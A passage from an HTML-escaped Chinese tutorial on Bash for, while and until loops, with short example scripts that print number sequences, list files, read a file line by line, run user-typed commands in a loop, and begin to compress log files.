&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="应用场景"&gt;&lt;strong&gt;应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;遍历已知序列&lt;/strong&gt;（数字、文件、字符串等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行固定次数的重复操作&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="示例-1遍历数字序列"&gt;&lt;strong&gt;示例 1：遍历数字序列&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;终端输入&lt;code&gt;cat &amp;gt; for1.sh&lt;/code&gt;，复制粘贴如下内容，回车后按&lt;code&gt;ctrl D&lt;/code&gt;结束输入。就能不用打开vim直接输入脚本了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历 1-5 并打印平方数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt; 5&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; 的平方是 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i*i&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用序列生成器 {起..止..步长}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;1..5&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;数字: &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定步长（仅 Bash 4+ 支持）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; i in &lt;span class="o"&gt;{&lt;/span&gt;0..10..2&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;偶数: &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516140637023" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516140637023.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-2遍历文件"&gt;&lt;strong&gt;示例 2：遍历文件&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历当前目录所有 .txt 文件并输出文件名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in *.txt&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;find_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 遍历带空格的文件名（需设置 IFS）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 将字段分隔符设为换行符&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in &lt;span class="k"&gt;$(&lt;/span&gt;find . -name &lt;span class="s2"&gt;&amp;#34;*.log&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;处理文件: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516140921420" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516140921420.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-3遍历数组"&gt;&lt;strong&gt;示例 3：遍历数组&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;fruits&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;苹果&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;香蕉&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;橘子&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; fruit in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;fruits&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;水果: &lt;/span&gt;&lt;span class="nv"&gt;$fruit&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例-1"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516141053886" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141053886.png"&gt;&lt;/p&gt;
&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;while&lt;/code&gt; 循环&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="基本语法-1"&gt;&lt;strong&gt;基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; 条件&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;循环体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="应用场景-1"&gt;&lt;strong&gt;应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;条件持续满足时循环&lt;/strong&gt;（如读取文件、等待任务完成）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无限循环&lt;/strong&gt;（需搭配 &lt;code&gt;break&lt;/code&gt; 或外部终止条件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="示例-1条件控制循环"&gt;&lt;strong&gt;示例 1：条件控制循环&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计数器从1累加到5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt; -le &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计数: &lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例-2"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516141150659" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141150659.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-2读取文件内容"&gt;示例 2：读取文件内容**
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 逐行读取文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;行内容: &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;w2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141326133" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141326133.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-3无限循环--用户输入退出"&gt;&lt;strong&gt;示例 3：无限循环 + 用户输入退出&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 持续询问用户输入，直到输入 &amp;#34;exit&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;请输入命令（输入 exit 退出）: &amp;#34;&lt;/span&gt; cmd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;exit&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;执行命令: &lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141741050" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141741050.png"&gt;&lt;/p&gt;
&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;until&lt;/code&gt; 循环（补充）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;与 &lt;code&gt;while&lt;/code&gt; 逻辑相反，当条件为 &lt;strong&gt;假&lt;/strong&gt; 时执行循环。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 直到计数器大于5时停止&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;until&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt; -gt &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计数: &lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141825441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141825441.png"&gt;&lt;/p&gt;
&lt;h3 id="循环控制语句"&gt;&lt;strong&gt;循环控制语句&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;命令&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;break&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;立即终止循环&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ $i -eq 3 ]; then break; fi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;continue&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;跳过当前循环，进入下一次&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ $i -eq 2 ]; then continue; fi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="选择循环的建议"&gt;&lt;strong&gt;选择循环的建议&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;已知迭代次数/列表&lt;/strong&gt; → &lt;strong&gt;&lt;code&gt;for&lt;/code&gt; 循环&lt;/strong&gt;
（如处理文件、数组、数字序列）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖动态条件&lt;/strong&gt; → &lt;strong&gt;&lt;code&gt;while&lt;/code&gt; 循环&lt;/strong&gt;
（如读取输入、监控进程状态）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="综合应用脚本"&gt;&lt;strong&gt;综合应用脚本&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 查找并压缩所有 .log 文件，直到总压缩文件超过 3 个&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;log_count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$log_count&lt;/span&gt; -lt &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找未压缩的 .log 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in *.log&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
